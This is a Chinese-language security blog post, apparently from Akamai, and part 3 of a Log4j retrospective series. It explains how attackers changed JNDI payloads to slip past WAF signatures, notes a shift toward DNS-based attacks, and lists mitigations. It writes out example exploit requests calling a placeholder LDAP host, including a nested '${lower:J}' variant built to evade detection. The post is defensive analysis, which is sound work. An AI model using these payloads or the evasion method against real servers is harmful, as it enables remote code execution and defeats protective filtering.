Log4j 漏洞回溯分析第 3 部分：演化历程 — 攻击载荷与攻击多样化
在本系列的 第 2 部分 中，我为大家介绍了数据渗漏和远程代码执行这两种漏洞利用攻击形式，还分析了威胁面。在这篇文章中，我想分享一下随着研究的推进，我们在攻击演化方面的一些发现。（例如，2021 年 12 月，Akamai 的 Hidecki Okamoto 发现了一个新漏洞。）在我们持续监测攻击情况并为客户提供保护的过程中，Akamai 观察到 威胁在两个不同的角度发生了演化。第一个角度与攻击载荷有关。
当今企业越来越多地依靠 Web 应用程序防火墙 (WAF) 等防御系统来保护自身。这类系统会搜索 Web 请求中是否存在可能被利用发起攻击的字符串，并在发现后丢弃这些存在威胁的字符串。这里给出一个非常简单的例子。在下例中，系统可能会丢弃包含如下 7 个相邻字符的 Web 请求，因为这种字符串明显是有心为之：
${jndi:
因此，系统会丢弃如下基于 Web 的示例请求，因为该请求中包含我们强调的签名：
GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example
这个签名乍看起来可能很容易检测，但请不要忘记，Log4j 支持高度复杂的结构以及嵌套式结构。为了绕过上述检测逻辑，攻击者可以将攻击修改成如下形式：
GET /${${lower:J}ndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example
在这个例子中，我们前面提到的 7 个特殊相邻字符（即 ${jndi: ）并没有出现，也就是说成功绕过了人为设计的这种 WAF 签名。
我们来看一下 Log4j 在接收到如下请求中的路径后会对日志做些什么： /${${lower:J}ndi:ldap://rce.malware.example/a} 。
首先，它会展开查找表达式 ${lower:J} 以得到 j，从而生成如下临时字符串：
/${jndi:ldap://rce.malware.example/a}
接下来，在检测到 ${jndi:ldap://rce.malware.example/a}这个 JNDI 查找表达式后，Log4j 会将 LDAP 伪 URL ldap://rce.malware.example/a 传递到 JNDI 中，造成前文详述的漏洞利用攻击。
这会引发一种“猫捉老鼠的游戏”，攻击者首先利用攻击载荷的构造发起攻击，一旦这种手法被拦截，他们就会修改攻击载荷，再次尝试绕过签名检查，直到下一次被发现，就这样源源不断地发起攻击。
Akamai 已经观察到，攻击者企图操控攻击载荷字符串（包括类似于上例所示的手法，以及比上例高级得多的手法）来绕过检测，此外还会运用一些更为隐匿的手段，比如创造性的内容编码、传输编码、字符集等。
我们观察到的第二种演化涉及到攻击目标和攻击协议的多样化。如本系列 第 2 部分所述，基于 Web 的应用程序是当前的主要攻击媒介，但我们目前观察到，随着针对 Web 攻击媒介的保护措施加强，以及相关修补工作的推进，针对 DNS 和其他一些不甚明显的协议的攻击企图逐渐增多。
解决方案与抵御措施
攻击者可用来针对这一漏洞发起攻击的攻击媒介数量繁多， 唯一真正的解决方案就是为所有存在漏洞的系统装好补丁。但我们在本系列前文中已经提到过，有些系统无法安装补丁，原因在于它们属于未提供更新方法的嵌入式系统，或者是供应商的更新频率没那么快的市售现成应用程序。
除此之外，许多企业没有在自身环境内实施全面监测，因此也就无法确切了解哪些系统存在漏洞，这进一步加大了防御工作的复杂度。
在 Akamai 博客 以及 Guardicore 团队博客先前的博文中，我们已经探讨了抵御措施。这里我们简单回顾一下 Akamai 推荐的行动方案：
1. 对于能够安装补丁的系统，立即予以修补。
此举可提供理想的防护措施。确保您运行的 Log4j 是最新版本（截至本文撰写之时，最新版本是 2.17.0）。
2. 如果您已经确定某些系统存在漏洞，但由于客观原因无法立即为其升级 Log4j，那么应该尽可能使用如下设置减小威胁面：
对于 Log4j 2.10 及更高版本，在启动时向应用程序传递“-Dlog4j2.formatMsgNoLookups=true”，这样做可以禁用查找表达式。
对于 Java，确保您的系统上采用了如下设置：
com.sun.jndi.ldap.object.trustURLCodebase=false
com.sun.jndi.rmi.object.trustURLCodebase=false
3. 运行 WAF（比如 Akamai 卓越的 Kona 解决方案）来保护您的所有 Web 应用程序，以帮助过滤掉攻击企图。
不论是内部还是外部服务器，都应该采取这种保护措施。
4. 运行 DNS 防火墙（比如 Akamai Secure Internet Access Enterprise），以监测在您的环境中横向移动的可疑 DNS 攻击载荷，并予以阻止。
5. 运行相关工具来全面监测整个环境中运行的内容，包括本地物理机器与云环境。
利用各种工具（比如 Akamai Guardicore Segmentation 提供的工具）来监测您环境中运行的所有内容。利用这些工具来寻找您先前可能并不知道存在漏洞的应用程序。
6. 尽可能减少涉及到受影响应用程序的通信。
利用基于身份的细分机制（例如 Akamai Guardicore Segmentation 的细分机制）来限制可以与哪些存在漏洞的系统进行通信。
下期预告
在设计和执行修补策略时，同时实施这些抵御策略可以显著降低存在漏洞的系统面临的风险。至此为止，我们已经探讨了 Log4j 漏洞的背景、漏洞利用攻击以及环境措施，这个回溯分析系列也接近尾声。在第 4 部分，我们将回顾经验教训，为本系列画上句号。敬请关注。
